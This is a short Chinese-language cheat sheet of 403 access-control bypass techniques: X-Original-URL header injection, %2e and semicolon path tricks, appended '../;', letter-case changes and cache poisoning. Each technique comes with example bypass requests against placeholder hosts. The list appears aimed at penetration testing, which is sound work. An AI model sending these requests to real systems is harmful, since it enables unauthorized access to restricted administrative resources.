-
🌐 使用 "X-Original-URL" 头:
- 原理:某些服务器在处理请求时,会检查
X-Original-URL头部来确定请求的原始 URL。这种方法利用了服务器对X-Original-URL头部的信任,将其值设置为受限制的路径,从而绕过访问控制。 - 原始请求:
GET /admin HTTP/1.1 Host: target.com - 绕过请求:
GET /anything HTTP/1.1 Host: target.com X-Original-URL: /admin
- 原理:某些服务器在处理请求时,会检查
-
✨ 在第一个斜杠后添加
%2e:- 原理:
%2e是 URL 编码表示的点 (.),某些服务器可能会错误地解析它,导致忽略路径的一部分,从而访问受限制的资源。 - 原始请求:
http://target.com/admin => 403 - 绕过请求:
http://target.com/%2e/admin => 200
- 原理:
-
🛠 尝试在 URL 中添加点 (.) 斜杠 (/) 和分号 (;):
- 原理:一些服务器在处理路径时,可能会忽略或错误处理特殊字符,如点 (.)、斜杠 (/) 和分号 (;),从而允许访问受限制的资源。
- 原始请求:
http://target.com/admin => 403 - 绕过请求:
http://target.com/secret/. => 200 http://target.com/secret//. => 200 http://target.com/./secret/.. => 200 http://target.com/;/secret => 200 http://target.com/;//secret => 200
-
🗂 在目录名称后添加
../;:- 原理:目录遍历攻击的一种变体,通过在路径中添加
../;,可能会绕过服务器的访问控制检查,直接访问受限制的资源。 - 原始请求:
http://target.com/admin - 绕过请求:
http://target.com/admin../;
- 原理:目录遍历攻击的一种变体,通过在路径中添加
-
🔠 尝试将 URL 中的字母大写:
- 原理:某些服务器对路径区分大小写,通过更改路径中某些字母的大小写,可能会绕过访问控制检查。
- 原始请求:
http://target.com/admin - 绕过请求:
http://target.com/aDmIN
-
📦 通过 Web 缓存中毒:
- 原理:利用 Web 缓存服务器对请求头的信任,将受限制路径的值存入缓存中,从而在后续请求中绕过访问控制。
- 绕过请求:
GET /anything HTTP/1.1 Host: victim.com X-Original-URL: /admin